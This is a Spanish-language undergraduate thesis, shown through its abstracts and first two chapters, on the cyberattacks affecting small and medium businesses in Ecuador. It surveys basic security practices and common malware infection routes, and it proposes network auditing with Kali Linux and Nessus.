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RESUMEN

Este proyecto de investigacion tiene como objetivo analizar los
ciberatagues que afectan a las Pymes del Ecuador y sus vulnerabilidades
utilizando Linux y sus herramientas como Nessus, para encontrar fallas en la red
y luego poder parchearlas. Se centra en sistemas operativos mal configurados,
la relevancia de las actualizaciones, la exposicion a diversos ataques externos y
el impacto de mantener parches de seguridad y actualizar sistemas e incluso
registros para minimizar el riesgo de que los ciberataques no logren explotar los
puertos abiertos y obtener control de forma remota para que no puedan escalar
privilegios dentro de él. Al mismo tiempo, entender la importancia de no tener
activos los servicios del sistema si no se van a utilizar ya que es una compuerta
abierta a la fuga de datos. Se enfatiza la formacion continua en ciberseguridad
para prevenir ataques e identificarlos para no caer en manos de

ciberdelincuentes por desconocimiento de los métodos de ataque.

PALABRAS CLAVES: Ciberseguridad, Ataques Informaticos, Ransomware,

Phishing, Malware, Puertos, Vulnerabilidades
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ABSTRACT

This research project aims to analyze the cyberattacks that affect SMEs in
Ecuador and their vulnerabilities using Linux and its tools such as Nessus, to find
faults in the network and then be able to patch them. It focuses on misconfigured
operating systems, the relevance of updates, exposure to various external
attacks, and the impact of maintaining security patches and updating systems
and even logs to minimize the risk of cyberattacks failing to exploit open ports
and gain control remotely so they can't escalate privileges within it. At the same
time, understanding the importance of not having active system services if they
are not going to be used since it is an open floodgate for data leaks. Continuous
training in cybersecurity is emphasized to prevent attacks and identify them so
as not to fall into the hands of cybercriminals for a lack of knowledge of attack

methods.

KEY WORDS: Cybersecurity, Computer Attacks, Ransomware, Phishing,

Malware, Ports, Vulnerabilities.
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CAPITULO 1
INTRODUCCION

1.1 Introduccioén

La tecnologia tuvo un importante desarrollo a partir de la pandemia, ya
que se tuvieron que incluir el modo de teletrabajo para sectores que no tenian
conocimiento de herramientas tecnolégicas para su negocio, ademas
careciendo de conocimientos del mundo de la ciberseguridad.

Cuando los usuarios tuvieron que hacer funciones desde un acceso
remoto para cumplir parametros y asi poder cumplir con los objetivos
planteados, se presentaron entornos que benefician, pero de la misma
manera también que perjudican ya que se exponen datos para posibles
vulneraciones cuando se trata de ingresar de una manera externa a ellay en
la cual hay un intercambio de informacién para certificar datos para ingresar
al sistema.

Todo esto conlleva a que el usuario cotidiano siempre se esta
enfrentando a riesgos informaticos mientras se tenga un ingreso a internet a
través de algun dispositivo y también a sus vulnerabilidades del sistema, robo
de informacion, etc., donde cada uno deberia de tener una idea clara sobre la
proteccion de datos y aplicarlos en este mundo tecnolégico, a través de varias
herramientas.

El atacante, desde fuera de la red, explota las vulnerabilidades en las
tecnologias de acceso remoto actuales o intenta descifrar contrasefias para
ingresar a la maquina o servidor conectado. Su objetivo es infiltrarse en la red
con la intencién de robar datos y luego extorsionar. Durante los primeros ocho
meses de 2021, los ciberataques experimentaron un aumento significativo,
con un asombroso aumento del 78% en comparacién con el mismo periodo

del afo anterior (Diazgranados, 2021).

1.2 Planteamiento del problema
Los robos de informacion siempre han estado latentes en el mundo,

pero con la evolucién de la tecnologia también aparecieron nuevos términos
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omo la ciberdelincuencia, que prospera con el pasar del tiempo en época de
pandemia en la cual aumentd la aparicién de piratas informaticos y varios
atagues a equipos tecnoldgicos, usando varias tacticas como lo que es
malware, la ingenieria social, phishing, ransomware.

Segun el Informe de seguridad 2022 de ESET, casi la mitad de todas
las empresas de América Latina experimentaron un incidente de seguridad,
mientras que una de cada cuatro organizaciones de la regién informé haber
sido afectada por malware durante el Ultimo afio (Haran, 2022).

Una revelacion fascinante sobre las amenazas de América Latina es la
disminucién de los ataques de phishing. A pesar de esto, numerosos paises
de la regién siguen siendo un objetivo importante y se encuentran entre los
mas atacados a nivel mundial. Al considerar el porcentaje de usuarios que han
sufrido intentos de ataque en los primeros ocho meses del afio, Brasil ocupa
el lugar mas alto del ranking con un 15,37% de los usuarios que informaron
de este tipo de incidentes. Le siguen de cerca Ecuador con 13,36%, Panama
con 12,60%, Chile con 11,90% y Colombia con 11,09%. En particular,
Venezuela (7,19%) y Republica Dominicana (5,62%) se encuentran entre los
paises que experimentan menos casos de atagues de ingenieria social a
escala global. Las violaciones de datos ocurren como consecuencia del
intento de robar credenciales de inicio de sesion, con técnicas que varian
segun las diferentes industrias. La carencia de ciberseguridad provoca que
cualquier usuario y hackers que tenga conocimientos basicos de informatica,
pueda explotar una vulnerabilidad e ingresar al sistema (Diazgranados, 2021).
1.3 Justificacion

Debido al poco conocimiento sobre la ciberseguridad en el sector de
las pymes en el pais, el incremento de la filtracion de datos antes, durante y
después de la pandemia deben ser conscientes de fomentar la seguridad de
informacion, para crearse filtros de estabilidad y asi evitar fuga de datos
informaticos importantes.

De la misma manera con un poco de conocimiento basico del usuario

se puede tapar un hueco de muchos que pueden presentar en la



vulnerabilidad de la red, donde el eslab6n mas débil es el usuario sin
conocimiento informatico.

Aplicando una serie de herramientas informaticas como el software de
Kali Linux podriamos averiguar donde existen fallos de seguridad en el
entorno de la pyme que esté el usuario y asi luego de obtener resultados luego
de la auditoria se evitaria que los atacantes de la red puedan encontrar alguna
vulneracion. Este programa auditor de redes ayudaria a crear un entorno de
mas confianza al usuario con su informacion que incrementarian la privacidad
de los datos.

1.4 Objetivos del problema de investigacion
1.4.1 Objetivo General.

Analizar ciberataques que afectan a pymes del pais con Kali Linux.
1.4.2 Objetivos Especificos.

Determinar las vulnerabilidades que utilizan los ciberataques en los
sistemas informaticos en pymes.

Plantear puntos importantes para una guia de ciber-higiene para los
atagues informaticos.

1.5 Metodologia

Para este proyecto de grado se utilizara la investigacion descriptiva y
documental. El método descriptivo porque se utiliza para describir y analizar
de manera detallada un fenémeno, un proceso o una situacion. El objeto del
método descriptivo es proporcionar una representacion precisa y completa de
la realidad, sin juzgar ni evaluar los aspectos observados,
el proceso, como las encuestas, entrevistas, observacion participante, entre
otras. Estos datos se analizan y se presentan de manera clara y ordenada,
permitiendo obtener conclusiones y aportar informacion util para futuras
investigaciones o para la toma de decisiones (Sampieri, 2010).

El método de investigacion documental implica examinar diversas
fuentes escritas, incluidos libros, articulos cientificos y archivos, como medio
para recopilar informacion sobre un tema en particular. Este enfoque permite
un analisis critico y reflexivo de los datos recopilados. Para llevar a cabo una

investigacion documental, es necesario seleccionar cuidadosamente los
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documentos que se van a utilizar, teniendo en cuenta su relevancia y
confiabilidad. Luego, se deben analizar los documentos de manera critica y
reflexiva, para obtener conclusiones y aportar informacion atil para futuras
investigaciones o para la toma de decisiones (Arias, 2016).

1.6 Hipotesis

Es importante tener en cuenta que Kali Linux es una herramienta de
seguridad informatica avanzada que puede ser Util para mitigar ataques, pero
no es una solucion magica que puede proteger a una pyme de todos los
ciberataques. Por lo tanto, es necesario implementar una combinacion de
medidas de seguridad informética, como firewalls, contrasefias seguras y
actualizacion de software, junto con el uso adecuado de Kali Linux para
decrementar la vulnerabilidad de una pyme en un 95%.

Para solucionar este problema, es necesario implementar medidas de
seguridad informatica adecuadas en pymes y se puede maximizar en gran
porcentaje la proteccidén de datos si también el usuario se suma a concientizar
sobre lo fundamental de la seguridad de la red.

Otra medida que podria ayudar a reducir el nGmero de ciberataques es
la creacion de un guia de ciberhigiene de incidentes informéaticos, que permita
a las pymes detectar y responder rapidamente a cualquier tipo de amenaza
informatica. En cuanto a la herramienta Kali Linux, esta puede ser util para
mitigar los ciberataques y proteger a las pymes de vulnerabilidades, siempre

y cuando se utilice de manera adecuada.



CAPITULO 2
FUNDAMENTACION TEORICA
2.1 Marco teodrico

El desafio que enfrentan los expertos en ciberseguridad es lograr un
delicado equilibrio entre los sistemas informaticos, la seguridad de la
informacion, y rendimiento empresarial. Es importante asegurar que las
medidas de seguridad implementadas no afecten negativamente las
operaciones normales de la empresa, es esencial mantener un equilibrio entre
la seguridad y el rendimiento empresarial para garantizar operaciones
ininterrumpidas y mitigar los riesgos que plantean las amenazas cibernéticas.
La ciberseguridad es esencial para el éxito empresarial. Se busca maximizar
la productividad y minimizar los riesgos.

2.2 Definiciones y conceptos fundamentales
2.2.1 Fundamentos de ciberseguridad.

En nuestra sociedad moderna, caracterizada por una amplia
digitalizacion, no se puede subestimar la importancia de la ciberseguridad.
Salvaguardar nuestra informacion y todos los aspectos relacionados con su
gestion y transferencia es crucial para establecer un entorno seguro y solido.
Dentro del &mbito de la tecnologia de la informacion, la ciberseguridad tiene
suma importancia ya que garantiza la integridad y confiabilidad de las
tecnologias digitales.

Segun Thakur y Al-Sakib (2020) La ciberseguridad se define como la
proteccion de los sistemas de software, hardware y recursos de datos que se
encuentran interconectados y almacenados en Internet. Es una
responsabilidad que se extiende desde los individuos hasta las grandes
corporaciones, ya que todos desempefian un papel para garantizar la
seguridad de su informacién.

Se ha vuelto cada vez mas frecuente encontrar en medios de
comunicacion noticias relacionadas con incidentes de seguridad cibernética,
como ciberataques, filtraciones de datos y escandalos de privacidad
(Elevenpaths, 2021). Estos problemas no solo afectan a grandes empresas o
gobiernos importantes, sino también a usuarios finales desprotegidos y
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Pymes. Dado que este es un problema creciente y evidente, la pregunta es:
¢existen medios de fortalecer nuestra seguridad cibernética en nuestra vida
diaria?; y la simple respuesta para esa pregunta importante es que todo
depende de cada persona y las ganas que se ponga en tener una proteccion
adecuada.

Algunos procesos de seguridad que serian utilizados se los muestra en
la Figura 1, en el cual contempla el uso de forma responsable, como las
credenciales de acceso, conexiones y actualizaciones para poder realizar un

trabajo debidamente seguro.

Figura 1. Medidas de seguridad
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Trabaja siempre No instales programas Utiliza contrasenas Haz copias de sequridad
en entornos sequros no autorizados largas y alfanuméricas habitualmente

Nota. Adaptado de Medidas de seguridad. (Daasel, 2020).

2.2.2 Actualizacion.

Ignorar las notificaciones de actualizacion del sistema es un error
comun entre los usuarios, pero es crucial mantenerlo actualizado para
proteger la informacion y evitar problemas de rendimiento. Ademas de corregir
problemas de seguridad y vulnerabilidades, las actualizaciones también
suelen incluir mejoras y caracteristicas adicionales que mejoran la experiencia
del usuario. No debemos subestimar la importancia de mantener el sistema

actualizado y considerar la seguridad al utilizar dispositivos y aplicaciones.



Para garantizar el rendimiento 6ptimo del sistema y salvaguardar informacion
valiosa, se recomienda seguir las instrucciones de actualizacion, ya que no
hacerlo puede exponer a los usuarios a riesgos y pérdida de datos (Alfonso,
2019).

2.2.3 Configuracion red wifi.

Por lo general siempre es bueno cambiar el nombre y la contrasefia
gue vienen por defecto, muchas veces estas contrasefias son muy repetitivas
en una red y otra en la cual seria sencillo acceder a ellas, es un paso sencillo
para dar para la cual nos ahorrariamos un disgusto. Para mejorar la seguridad,
es fundamental ocultar el nombre de la red WI-FI y desactivar la conexion Wi-
Fi Protected Setup (WPS) por la seguridad que esto lleva (Valero, 2023).
2.2.4 Contrasefas seguras.

Es comun usar fechas importantes, nombres de algun familiar o
mascota que se tenga en casa, preferencias o gustos personales para poder
elegir contrasefias que sean faciles de recordar, pero de la misma manera son
las mas faciles de adivinar. En lugar de esto se recomienda utilizar
contrasefias robustas que incluyen una serie de caracteres alfanumeéricos,
mayusculas, minusculas y caracteres especiales. Ademas, no se debe usar
la misma contrasefia para todas las cuentas en la que se encuentra registrado,
ya que, si es descubierta, es lo primero que intentan probar en el resto de las
cuentas por lo mismo es primordial cambiar contrasefias periédicamente para
mantener las cuentas mas seguras y proteger los datos de posibles ataques

informaticos o robos, tal como se muestra en la figura 2 (Incibe, 2019).



Figura 2. Consejos para contrasefas
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Nota. Adaptado de Consejos de contrasefas. (Osi, 2019)
2.2.5 Utilizar gestor de contrasenfas.

Un uso muy comun es el de reutilizar las contrasefias una y otra vez
continuamente, Lo ideal es precisar con una contrasefia para cada aplicacion,
red social o sistema que se use. Es imposible recordar todas y cada una de
las contraseflas con las que se cuenta, por eso existen gestores de
contrasefias como por mencionar Lastpass o Keepass. Ademas, estos
gestores tienen una aplicacion mdavil, asi los puedes llevar a cualquier parte
gue te encuentre (Life, 2019).

2.2.6 Sentido comun.

Es fundamental ser precavido y utilizar la I6gica al momento de navegar
en linea. Si algo suena demasiado bueno para ser verdad, probablemente no
lo sea. Es importante investigar y buscar la opinién de expertos antes de tomar
cualquier accién. Si se tiene sospecha de algo malicioso, es mejor evitar el
riesgo y no caer en un ciberataque. Ademas, es recomendable mantenerse
informado y actualizado sobre las uUltimas tacticas de los ciberdelincuentes

para asi no caer en algun posible robo de informacion (Camara, 2021).



2.2.7 Clasificacion de ciberseguridad.

Para proteger una computadora conectada a Internet de ataques
cibernéticos, es imperativo contar con medidas de ciberseguridad. Estas
medidas son esenciales para proteger los sistemas, hardware, software y
datos del acceso no autorizado por parte de ciberdelincuentes. No
implementar un plan de seguridad soélido puede poner en peligro la
informacion personal, los datos de los clientes y otra informacion comercial
confidencial. La seguridad cibernética en las empresas es extremadamente
peligrosa y puede tener consecuencias negativas para sus empleados y
clientes. Es importante tener en cuenta la seguridad cibernética debido a la
gran dependencia de los ordenadores y la existencia una amplia gama de
amenazas cibernéticas (Rosenthal, 2018).

2.2.8 Seguridad de la infraestructura.

Las sociedades modernas dependen de sistemas ciberfisicos, que son
vitales para su funcionamiento. Sin embargo, la infraestructura de red que
respalda estos sistemas también los expone al riesgo de sufrir ciberataques.
Es imperativo que las organizaciones que supervisan la infraestructura critica
identifiquen y protejan de manera proactiva las vulnerabilidades. La seguridad
y la resiliencia de estas infraestructuras cruciales son fundamentales para
garantizar la seguridad y el bienestar de la sociedad. Incluso las
organizaciones que no son directamente responsables de la infraestructura
critica pero que dependen de ella para sus operaciones deberian desarrollar
planes de contingencia para evaluar el impacto potencial de un ataque en la
infraestructura de la que dependen (Rosenthal, 2018)

2.2.9 Seguridad de las aplicaciones.

Proteger sus sistemas requiere implementar una variedad de medidas
de seguridad cruciales, incluida la seguridad de las aplicaciones. Durante la
fase de desarrollo, la seguridad de las aplicaciones utiliza técnicas de software
y hardware para combatir las amenazas externas que puedan surgir. Dada la
mayor accesibilidad de las aplicaciones a través de las redes, es vital priorizar
la integracion de medidas de seguridad en las primeras etapas del proyecto.
Ademas, las empresas pueden salvaguardar los activos de datos
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confidenciales mediante la implementacion de procesos de seguridad de
aplicaciones especificos que se adapten a estos conjuntos de datos
(Rosenthal, 2018).

2.2.10 Seguridad en lared.

La seguridad de la red juega un papel fundamental en la proteccion de
las redes internas contra intrusiones no autorizadas originadas por intenciones
maliciosas, a diferencia de la ciberseguridad, que se enfoca en las amenazas
externas. Su objetivo principal consiste en proteger la infraestructura y
restringir el acceso a la misma. Al mismo tiempo, los administradores de red
se mantienen vigilantes en la implementacién de politicas y procedimientos
para prevenir el acceso no autorizado, la alteracion y la explotacion de la red
(Peréz, 2020).

2.2.11 Seguridad en la nube.

El aumento de la popularidad de la nube se puede atribuir a su
contribucién a la mejora de la ciberseguridad. La seguridad en la nube implica
una soluciébn basada en software que protege y supervisa los datos
almacenados en los recursos de la nube. Con el fin de ayudar a las empresas
a proteger sus datos, los proveedores de servicios en la nube estan
constantemente desarrollando y poniendo en préactica herramientas de
seguridad innovadoras (Galindo et al., 2019).

2.2.12 Seguridad del lot (Internet de las cosas)

Desafortunadamente, muchos dispositivos de I[0T se envian
inicialmente con vulnerabilidades y carecen de las actualizaciones de
seguridad adecuadas. La seguridad sigue siendo un obstaculo importante
para la adopcion generalizada de la tecnologia IoT. Sin embargo, las
empresas expresan optimismo con respecto al valor comercial potencial y el
crecimiento asociado con loT, con la expectativa de que aumentarian su
compra de dispositivos 0T si las preocupaciones de seguridad se abordaran
adecuadamente. La preservacion de los datos es de suma importancia en el
ambito de la seguridad informatica, ya que regula la forma en que las personas
interactian con los sistemas informaticos cuando encuentran actividades

dudosas. Con la proliferacion de dispositivos conectados a Internet, que van
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desde electrodomeésticos hasta automoviles, los ciberdelincuentes tienen ante
si una gran cantidad de posibilidades para desatar el caos. Sin embargo, a
medida que los piratas informaticos evolucionan junto con los avances
tecnoldgicos, los profesionales de la ciberseguridad estan igualmente
comprometidos con la salvaguardia de la informacién (Rosenthal, 2018).
2.3 Servicios de ciberseguridad mas demandados

La mayoria de las empresas no invierten en la suficiente seguridad
informatica pensando que no son el objetivo de ciberdelincuentes. Sin
embargo, uno nunca sabe y es mejor ser precavido para no lamentarse en un
futuro alguna infiltracion de la empresa independientemente del tamafio o del
tipo de negocio que se maneja, ya que actualmente han incrementado los
atagues a todo lo que esta conectado a la red del internet y que mejor estar
un paso adelante con varias funciones de seguridad. Las pymes se enfrentan
a un numero abrumador de ciberataques diarios que requieren su proteccion.
Varios tipos de ataques, como phishing, DDoS, ransomware y malware, ya no
son amenazas distantes, pero se han vuelto cada vez mas frecuentes en los
altimos afios. Es fundamental que las empresas den prioridad a protegerse
contra estos ataques potencialmente devastadores. (Toledo, 2019).

Por mencionar algunos:

o Servicio de Pentesting.- (también conocido como prueba
de penetracion) es un método de evaluacion empleado por
especialistas en seguridad informatica que simula un ataque malévolo
a un sistema o aplicacion, con el objetivo de descubrir vulnerabilidades
o deficiencias. Esta evaluacion integral implica el uso de herramientas
y técnicas especializadas para medir la resistencia del sistema o la
aplicacion frente a posibles ataques. El objetivo principal del pentesting
es ayudar a las organizaciones a mejorar la seguridad de sus sistemas
y salvaguardar sus valiosos datos y recursos digitales.

o Auditoria de Seguridad. - Durante el transcurso de esta
auditoria, se examina y supervisa minuciosamente el sistema de la
empresa para identificar, compilar y proporcionar descripciones
detalladas de cualquier vulnerabilidad que se descubra. Al realizar una
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auditoria de seguridad integral, podemos evaluar las areas de fortaleza,

debilidad, amenazas potenciales y riesgos de la empresa en relacién

con la seguridad de Internet. Tomar medidas para mitigar y erradicar
estos problemas es crucial para proteger a la empresa contra posibles
ciberataques. Invertir en ciberseguridad es el medio mas eficaz de

autoproteccion (Toledo, 2019).

2.3.1 Seguridad de datos.

La seguridad de los datos es un aspecto esencial para salvaguardar su
valiosa infraestructura de TI. Implica implementar un conjunto integral de
medidas y protocolos de ciberseguridad para garantizar la proteccion de su
informacion critica. Al emplear una variedad de controles, aplicaciones y
técnicas, la seguridad de los datos identifica de manera efectiva la importancia
de diferentes conjuntos de datos y aplica las medidas de seguridad mas
adecuadas. Este enfoque proactivo de la seguridad de los datos permite a las
organizaciones del sector publico y privado evaluar amenazas potenciales y
mitigar los riesgos asociados con el almacenamiento y manejo de datos. Al
reconocer la importancia de la seguridad de los datos, es imperativo que todas
las organizaciones prioricen su implementacion.

La principal responsabilidad de las empresas reside en salvaguardar
los datos de sus usuarios y clientes, tanto desde el punto de vista juridico
como moral, para evitar accesos no autorizados. Ademas, existe el riesgo
potencial de dafar la reputacion debido a una infraccion o pirateria. Descuidar
la importancia de la seguridad de los datos puede provocar un dafo
irreparable a la reputacion. Tendras que gastar tiempo y dinero evaluando y
reparando el dafio, ademas de determinar qué procesos de negocio han
fallado y qué necesita mejorarse (Rosenthal, 2018).

Tipos de seguridad de datos:

e Controles de acceso.

Para salvaguardar los sistemas y datos criticos, se
implementan varias medidas para mantener la seguridad de los
datos. Estas medidas abarcan la restriccion del acceso tanto fisico

como digital. Esto implica hacer cumplir el acceso de entrada
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obligatorio para todas las computadoras y dispositivos, asi como
permitir la entrada a espacios fisicos exclusivamente para personas
autorizadas.

e Autenticacion.

Al igual que los controles de acceso, la autenticacion de
usuarios se ocupa de verificar con precision la identidad de las
personas antes de otorgarles acceso a los datos. Este proceso
comunmente implica el uso de varios métodos, como contrasefias,
nameros PIN, tokens de seguridad, tarjetas magnéticas o datos
biométricos para confirmar la identidad del usuario.

e Copias de recuperacion y de seguridad.

Para asegurar la adecuada seguridad de sus datos, es
esencial contar con un plan completo que permita el acceso seguro
a la informacion en situaciones de vulnerabilidad, desastres o fallos
del sistema. En caso de necesitar recuperar datos, es crucial
disponer de copias de seguridad almacenadas en diferentes
formatos, como en un disco fisico, en la nube o en una red loca.

e Borrado de datos.

Para eliminar adecuadamente los datos se utiliza un software
especializado que sobrescriba completamente la informacién
almacenada en cualquier dispositivo, superando la seguridad que
ofrecen los métodos estandar de eliminacibn de datos que
simplemente verifican la irrecuperabilidad de los datos.

e Enmascaramiento de datos.

Mediante el uso de software, se emplea una técnica de
ocultacion en la que se utilizan letras, nimeros y caracteres proxy
para ocultar los datos.

Los detalles cruciales, como el acceso no autorizado, quedan
efectivamente ocultos mediante este proceso. Los datos se
restablecen a su estado original Unicamente tras su recepciéon por

parte del usuario autorizado.
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e Resistencia de datos.

Garantizar una proteccion integral de los datos implica la
capacidad de sus sistemas para resistir o recuperarse de posibles
fallos. Al incorporar resiliencia tanto en su hardware como en su
software, puede estar seguro de que la seguridad no se vera
comprometida incluso ante cortes de energia o calamidades
naturales.

e Cifrado.

El proceso de cifrado implica la utilizacién de un algoritmo
informatico para transformar caracteres de texto en una estructura
ininteligible mediante el empleo de claves de cifrado. El acceso a la
informacion cifrada y su descifrado esta limitado a usuarios
autorizados que posean las claves adecuadas. El cifrado se puede
implementar en diversas formas de datos, incluidos archivos, bases
de datos y comunicaciones por correo electronico.

2.3.2 Integridad del mensaje.

Se refiere al proceso de garantizar que un mensaje no ha sido alterado
de ninguna manera durante su transmision, a menos que el receptor
previamente lo haya verificado y esté al tanto de cualquier cambio que haya
sufrido. Esto significa que no hay modificaciones que no sean conocidas por
el remitente original (IBM, 2020.)

2.3.3 Autenticacion.

Dentro del ambito de los sistemas informaticos, la autenticacion denota
la garantia y validacion de la identidad de un individuo. Antes de cualquier
intento por parte de un usuario de recuperar informacion alojada dentro de
una red, existe un requisito previo para comprobar su identidad y autorizacién
para acceder a los datos. Al establecer una conexion a la red, el usuario debe
proporcionar credenciales de inicio de sesién Unico, como un nombre de
usuario y contrasefia, como medida de precaucion destinada a proteger la red

contra una posible infiltracion de piratas informaticos.
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Para salvaguardar los recursos de la red, es fundamental implementar
medidas de autenticacion que restrinjan el acceso Unicamente a usuarios y
dispositivos autorizados (Stallings, 2017).

2.3.4 Control de acceso.

La implementacién de medidas de control de acceso se extiende més
alld de los sistemas digitales e incluye la restriccion de la entrada a campus,
edificios, salas y centros de datos. Este componente crucial de la seguridad
de la informacion, la seguridad de los datos y la seguridad de la red sirve para
mitigar las amenazas potenciales que plantean las personas no autorizadas
que obtienen acceso fisico o digital a sistemas sensibles.

Segun Stallings (2017) Para salvaguardar los recursos de la red, es
fundamental implementar medidas de control de acceso que restrinjan el
acceso Unicamente a usuarios y dispositivos autorizados.

2.4 Ciberataques

Segun Stallings (2017), en los ciberataques se emplean diversas
técnicas y herramientas tecnoldgicas, que son acciones deliberadas
destinadas a causar dafo, destruccion o manipulacién de sistemas y datos
informaticos. Estos atagues pueden manifestarse como virus, malware,
phishing y otras formas de actividad maliciosa. Los objetivos de estos ataques
pueden incluir el robo de datos confidenciales, la interrupcion de servicios o la
extraccion de fondos de un individuo o de una organizacién. Los ciberataques
siguen siendo un peligro constante para las empresas, por lo que es
fundamental anticiparse y adoptar medidas proactivas para protegerse contra
ellos.

2.4.1 Aplicaciones maliciosas habituales en ciberataques.

El acto de un ciberataque implica un esfuerzo deliberado y perjudicial
realizado por un individuo o colectivo para infiltrarse en el sistema de
informacion de otra entidad. Normalmente, el objetivo del atacante es obtener
un determinado beneficio mediante la interrupcion o manipulacién de la red
del objetivo (Cisco, 2020).
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2.4.2 Malware.

El malware, un término amplio que abarca varios programas o codigos
disefiados para dafiar sistemas y dispositivos, demuestra un comportamiento
intrusivo y hostil, con el objetivo de infiltrarse, dafiar o incapacitar
computadoras, sistemas de TI, redes, tabletas y dispositivos moviles,
estableciendo a menudo un control parcial sobre sus operaciones. Este cédigo
malévolo opera de manera similar a una enfermedad contagiosa, alterando la
funcionalidad normal (Malwarebytes, 2018).

El crecimiento de "Malware" experimentd un aumento constante en
porcentaje, mientras que vulnerabilidades como "Acceso inadecuado” y
"Recopilacion de informacion” experimentaron una tendencia al alza”.

La figura 3 describe las proporciones relativas de los incidentes de
seguridad (Gub, 2020).
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Figura 3. Estadisticas de ataques por malware
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Nota: Adaptado de las estadisticas sobre incidentes de seguridad
informatica (Gub, 2020)
2.4.2.1 Siete formas en las que se pueden infectar tus dispositivos con
malware. Comprender las estrategias empleadas por los ciberdelincuentes
para infiltrar codigos maliciosos en sus dispositivos es fundamental, ya que
permite implementar medidas preventivas. En consecuencia, profundizamos
en el examen de las técnicas y tacticas predominantes utilizadas por estos
individuos nefastos para engafar a los usuarios desprevenidos de Internet
para que descarguen software dafino que pone en peligro sus datos y su
seguridad general (Owaida, 2021).

e Correos de spam y phishing.

Los correos electronicos de phishing tienen como objetivo
principal adquirir datos confidenciales, y otra informacién personal,
haciéndose pasar por organizaciones acreditadas. Ademas de esto,
estos correos electronicos pueden contener archivos adjuntos o
hipervinculos que pueden exponer su dispositivo a malware. Por lo
tanto, es fundamental tener precaucion al leer los correos

electronicos, prestando atencion a indicadores como errores
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tipogréaficos, demandas urgentes, solicitudes de datos personales y
mensajes provenientes de dominios dudosos.

e Sitios web fraudulentos.

Los ciberdelincuentes utilizan el engafo para hacer que las
victimas descarguen aplicaciones maliciosas, creando sitios web
fraudulentos que se parecen a los de marcas conocidas o
organizaciones legitimas. Normalmente, estos sitios web engafiosos
poseen un dominio parecido al auténtico, aunque con una ligera
variacion en una letra o simbolo, y estan asociados con malware que
tiene como objetivo incitar a la victima a hacer clic en enlaces que
facilitan la descarga de codigo malicioso en su dispositivo.

e Memorias USB.

Si bien los dispositivos de almacenamiento externo se utilizan
ampliamente para el almacenamiento y la transferencia de archivos,
es importante ser consciente de los riesgos asociados. Los
ciberdelincuentes emplean con frecuencia la estrategia de distribuir
memorias USB infectadas con el pretexto de perderlas, engafiando
a personas desprevenidas para que las conecten a sus ordenadores.
Tras la conexién y el acceso, estos dispositivos pueden introducir
malware dafiino, como registradores de pulsaciones de teclas o
ransomware.

Ademads, si no eres cuidadoso al usar tu memoria USB y la
conectas a cualquier equipo desconocido, tu computadora también
puede infectarse a través de contaminacion cruzada. Es
fundamental utilizar una solucion de seguridad que permita escanear
unidades externas conectadas a sus dispositivos y notificarle
rapidamente sobre cualquier contenido potencialmente sospechoso.

e Intercambio de archivos P2P y torrents.

Las redes P2P vy los torrents han servido como plataforma
tanto para descargas ilicitas de software, juegos y archivos

multimedia, como para la difusion de programas de cédigo abierto o
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musica de artistas. Sin embargo, estas redes también suelen ser
explotadas por delincuentes que inyectan cédigo dafiino en estos
archivos compartidos. En una investigacion reciente, los
investigadores de ESET descubrieron la utilizacion del protocolo
BitTorrent y la red Tor por parte de ciberdelincuentes para distribuir
KryptoCibule, un software malicioso disefiado para robar

criptomonedas.

Para mitigar los peligros potenciales de verse comprometido,
es recomendable utilizar un servicio VPN confiable para
salvaguardar su actividad en linea cifrando sus datos vy
protegiéndolos del acceso no autorizado. Ademas, es fundamental
mantener un software de seguridad actualizado que ofrezca una
proteccion integral contra diversas amenazas, como el malware que
puede residir en los archivos que intenta descargar a través de

Torrent.

e Software Comprometido.

Los delincuentes también pueden utilizar los ataques a la
cadena de distribucién, aunque son poco frecuentes, para
comprometer el software legitimo. El caso del software CCleaner
sirve como ejemplo, donde los ciberdelincuentes estratégicamente
incorporaron malware dentro de la propia aplicacion, propagandolo
de manera efectiva a usuarios desprevenidos al descargarlo.

Cuando se trata de descargar software, la precaucion es
clave, independientemente de cuanta confianza tenga en él. Es
fundamental combinar esta precaucion con el uso de una solucion
de seguridad confiable, la actualizacion constante de las
aplicaciones vy la instalacién de los parches de seguridad que las
acompanfan. Estos parches estan disefiados para abordar cualquier
vulnerabilidad de seguridad o error encontrado en las aplicaciones

afectadas.
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e Adware.

Ciertos sitios web bombardean a los usuarios con anuncios
gue aparecen incesantemente cada vez que hacen clic en cualquier
parte de la pagina web o visitan sitios especificos. Si bien estos
anuncios sirven principalmente para generar ingresos para el sitio
web, también pueden albergar software malicioso. Al hacer clic sin
darse cuenta en estos anuncios o programas publicitarios, los
usuarios pueden descargar programas dafinos en sus dispositivos
sin saberlo. Algunos anuncios emplean estrategias engafosas,
engafiando a los usuarios haciéndoles creer que sus dispositivos
han sido comprometidos y que la Unica manera de resolver el
problema es comprando la solucion de seguridad anunciada. Sin

embargo, estas afirmaciones casi siempre son falsas.

Con el fin de evadir el adware, es recomendable emplear un
bloqueador de anuncios confiable en su navegador para evitar que
los anuncios se manifiesten en el sitio web que estd navegando
actualmente.

e Falsas aplicaciones.

En esta recopilacion de amenazas se incluye el problema de
las aplicaciones méviles falsificadas. Estas aplicaciones engafiosas
se hacen pasar por auténticas y engafian a los usuarios para que las
instalen en sus dispositivos con la intencibn de comprometer su
seguridad. Sin embargo, en lugar de ofrecer los servicios
anunciados, estas aplicaciones infectan dispositivos con una
variedad de software malicioso, incluido ransomware, spyware y
registradores de pulsaciones de teclas.

Para proteger sus dispositivos contra el riesgo de descargar
aplicaciones dafinas, es aconsejable optar por aplicaciones
desarrolladas por creadores acreditados que posean un historial
comprobado y hayan recibido comentarios favorables de otros
usuarios. Ademas, asegurarse de que sus dispositivos se actualicen
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y parcheen periédicamente proporcionard una capa adicional de
defensa contra posibles amenazas que pueden aprovechar las
vulnerabilidades encontradas en versiones obsoletas de las
aplicaciones (Owaida, 2021).

2.4.3 Virus.

Un virus informatico es una forma de software malicioso que tiene como
objetivo propagarse y duplicarse pasando de una computadora a otra. Al igual
qgue un virus bioldgico, depende de un programa o archivo anfitrion para
sobrevivir y difundirse. Al adjuntarse a un programa, archivo o documento, el
virus tiene el potencial de provocar consecuencias perjudiciales e imprevistas,
como deterioro del software del sistema o corrupcion de datos.

Hasta que se ejecute el programa infectado, el virus permanecera
inactivo, esperando su momento. Una vez activado, llevara a cabo su
programacion, propagandose potencialmente a otros ordenadores dentro de
la misma red. Sus capacidades incluyen robar contrasefias y datos, registrar
pulsaciones de teclas, corromper archivos, enviar correos electronicos
masivos e incluso asumir el control de la maquina comprometida, entre otras
acciones maliciosas. Las consecuencias de un virus informatico pueden variar
desde inconvenientes menores hasta una pérdida catastrofica de datos vy
funcionalidad del sistema.

